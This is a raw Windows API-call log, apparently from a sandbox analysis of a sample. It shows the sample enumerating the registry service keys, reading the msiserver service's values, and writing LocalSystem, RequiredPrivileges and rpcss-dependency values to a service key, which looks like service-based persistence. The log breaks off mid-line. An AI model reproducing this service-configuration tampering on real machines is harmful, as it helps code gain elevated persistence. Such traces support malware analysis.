[0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0232.548] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0232.549] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0232.549] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0232.549] RegCloseKey (hKey=0x148) returned 0x0 [0232.549] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.549] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.550] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.550] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.550] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.551] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.551] RegCloseKey (hKey=0x14c) returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.551] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.551] RegCloseKey (hKey=0x148) returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.551] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.552] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.552] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.552] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.552] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.552] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.552] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.552] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.552] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.552] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.552] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.553] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.553] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.554] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.554] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.555] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.555] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.555] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.556] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.557] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0232.557] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.557] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, 